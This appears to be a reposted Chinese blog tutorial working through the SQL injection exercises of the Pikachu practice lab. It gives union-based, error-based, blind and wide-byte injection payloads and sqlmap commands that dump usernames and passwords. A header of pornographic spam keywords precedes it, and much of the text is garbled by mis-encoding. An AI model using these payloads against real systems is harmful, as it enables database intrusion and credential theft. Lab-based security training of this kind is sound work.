日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

Pikahu-SQL注入模块和sqlmap经典用法

發(fā)布時間:2023/12/13 综合教程 25 生活家
生活随笔 收集整理的這篇文章主要介紹了 Pikahu-SQL注入模块和sqlmap经典用法 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

sql注入漏洞 危害是最大得

sql注入類型: 數(shù)字型 user_id=$id

       字符型user_id='$id'

       搜索型 text like '%{$_GET['search']}' "

select 字段1 from table where id=1 會顯示表中第一行信息

select 字段1 from table where id=1 or 1=1 會顯示表中所有信息

1.數(shù)字型注入 post

抓包如下

查看代碼,發(fā)現(xiàn)代碼對id沒有做任何過濾

2.字符型注入 get

猜測 SELECT 字段1,字段2,from table where username= ' xxx'

構(gòu)造 SELECT 字段1,字段2,from table where username= ' xxx ’ or 1=1 # '

3.搜索型注入

select * from table where username like '%xxx% '

select * from table where username like '%xxxx% ' or 1=1# % '

輸入 k% ' or 1=1#

4. xxx型注入

查看代碼

構(gòu)造閉合

原先 where username = ('lucy')

輸入 (' lucy') or 1=1 # ')

ps:

在實(shí)際操作中 需要根據(jù)自己的經(jīng)驗(yàn)做實(shí)際操作 做測試

以字符型注入為例

1.可能單引號閉合 可能雙引號閉合

舉例 aaa' or 1=1 # 或者 aaa“ or 1=1 #

通過檢測 發(fā)現(xiàn)單引號閉合 是正確的

2.還可以根據(jù)返回的信息 判斷數(shù)據(jù)的輸入有沒有參與到后臺的數(shù)據(jù)庫sql里去

舉例lucy' and 1=1 # 返回正確                   lucy' and 1=2 # 返回 錯誤 則證明是單引號閉合

    

我們通過觀察結(jié)果 發(fā)現(xiàn)payload 參與了后臺數(shù)據(jù)庫語句 所以 語句是正確的

3.輸入‘ 進(jìn)行測試

通過報錯 發(fā)現(xiàn)‘ 進(jìn)行了sql語句拼接 只是報錯了 通過報錯 我們發(fā)現(xiàn)了注入漏洞

3種注釋符號 : # 、 -- (--空格)、/* */ 多行注釋

union 語句后面的查詢列數(shù) 要和主句查詢語句列數(shù)一致

select database(); 查看當(dāng)前數(shù)據(jù)庫

select user(); 查看當(dāng)前用戶

select version(); 查看當(dāng)前mysql版本信息

使用union 首先要猜測列數(shù) 使用order by

order by 2 根據(jù)第二列進(jìn)行排序 order by 3 根據(jù)第三列進(jìn)行排序

order by 3

order by 2

即可判斷 有倆列

xx' union select 1,2 # 即可查詢 顯示位置

xx' union select user() ,database() #

輸入desc hotel;查看列和數(shù)據(jù)類型。

數(shù)據(jù)庫知識
1. 查庫:
Show databases;
select schema_name from information_schema.schemata
2. 查表:
Show databases; use security; show tables;
select table_name from information_schema.tables where table_schema='security'(此表名用的時候大多數(shù)轉(zhuǎn)為16進(jìn)制)
3. 查列:
select column_name from information_schema.columns where table_name='users'
4. 查字段:
select username,password from security.users

獲取表名

獲取表名 payload

kobe' union select table_schema, table_name from information_schema.tables where table_schema='pikachu' #

獲取字段名

select id,email from member where username= 'kobe' union select table_name, column_name from information_schema.columns where table_name= 'users'

test payload

kobe' union select table_name, column_name from information_schema.columns where table_name= 'users'#

獲取字段數(shù),

select id,email from member where username= 'kobe' union select username, password from users;

paylaod

kobe' union select username, password from users #

md5加密 https://www.cmd5.com/

e10adc3949ba59abbe56e057f20f883e

5. 報錯注入

updatexml() https://blog.csdn.net/qq_37873738/article/details/88042610

構(gòu)造注入語句:select name from user where id=1 and updatexml(1,concat('~',(select database()),'~'),3);

updatexml(1,version(),0); 第一個位置 XML文檔對象的名稱,第二個位置是指定路徑, 第三個位置是新得

kobe' and updatexml(1,version(),0) # 顯示不全面

進(jìn)行改造 kobe' and updatexml(1,concat('~',(select database())),0) #

kobe' and updatexml(1,concat('~',(select version())),0) #

報錯只能一次顯示一行

kobe' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='pikachu')),0) #

kobe' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) #

使用 limit 0,1 進(jìn)行逐行顯示

獲取完表明之后 同樣方式獲取列名

kobe' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) #

kobe' and updatexml(1,concat('~',(select username from users limit 0,1)),0) #

kobe' and updatexml(1,concat('~',(select password from users limit 0,1)),0) #

6.1 insert注入

注冊 姓名填 ‘ 出現(xiàn)一下 錯誤 說明’ 參與了后臺sql語句拼接 導(dǎo)致了sql語句的錯誤

正常插入insert into member (username,pw,sex,phonenum,email,address) values ('xiaohong',11111111,1,2,3,4);

insert into member (username,pw,sex,phonenum,email,address) values ('xiaohong' or updatexml(1,concat('~',(select version())),0) or ' ' ,11111111,1,2,3,4);

構(gòu)造payload xiaohong' or updatexml(1,concat('~',(select version())),0) or '

6.2 update 注入

update 就是登錄上去 去修改個人信息 利用insert 進(jìn)行修改

構(gòu)造payload xiaohong' or updatexml(1,concat('~',(select version())),0) or '

7.delete注入

查看源碼 對獲取到id 沒做處理 直接拼接 進(jìn)行刪除

burp suite 抓包 發(fā)送到repeart

1 or updatexml(1,concat('~',(select version())),0)

因?yàn)閭鞯檬莡rl 需要對關(guān)鍵字進(jìn)行url編碼

編碼之后發(fā)現(xiàn)空格都變成了加號 點(diǎn)提交

id=1+or+updatexml(1,concat(0x7e,(select+database())),1) HTTP/1.1

基于extractvalue()

kobe' and extractvalue (0,concat(0x7e,version()))#

floor() 取整 向下取整

kobe' and (select 2 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x) a) #

kobe' and (select 2 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x) a) #

8.http頭注入

admin 123456 登錄

一般返回信息有user agent數(shù)據(jù)得 都會存在http注入

burp suite抓包 進(jìn)行測試

firefox' or updatexml(1,concat(0x7e,databse()),0) or '

修改 cookie值

盲注

布爾盲注

lucy' or 1=1#

lucy' and 1=1 #

payloadkobe' and ascii(substr(database(),1,1))>1 #

猜測正確 顯示

猜測錯誤 顯示用戶不存在

kobe' and ascii(substr(database(),1,1))>1 # 替換掉

時間盲注

基于時間得延遲

kobe' and if ((substr(database(),1,1))='p',sleep(5),null)#

寬字節(jié)注入:

當(dāng)我們輸入有單引號時被轉(zhuǎn)義為’,無法構(gòu)造 SQL 語句的時候,可以嘗試寬字節(jié)注入。

GBK編碼中,反斜杠的編碼是 “%5c”,而 “%df%5c” 是繁體字 “連”。在皮卡丘平臺中,將利用 BurpSuite 截獲數(shù)據(jù)包,發(fā)送到 Repeater 中,在里面寫入payload,當(dāng)我們用通常的測試 payload時,是無法執(zhí)行成功的

因?yàn)樵诤笈_單引號會被轉(zhuǎn)義,在數(shù)據(jù)庫中執(zhí)行多了反斜杠,可以使用下面的payload,在單引號前面加上%df,繞過這個WAF。

kobe %df‘ or 1=1#

sqlmap

sqlmap.py -u " http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"

得到數(shù)據(jù)庫:

sqlmap.py -u " http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db

得到表名

sqlmap.py -u " http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

得到字段名

sqlmap.py -u " http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"-D pikachu -T users --columns

拿到數(shù)據(jù)

sqlmap.py -u " http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"-D pikachu -Tables users -C username,password --dump

拿到數(shù)據(jù)名和密碼

總結(jié)

以上是生活随笔為你收集整理的Pikahu-SQL注入模块和sqlmap经典用法的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。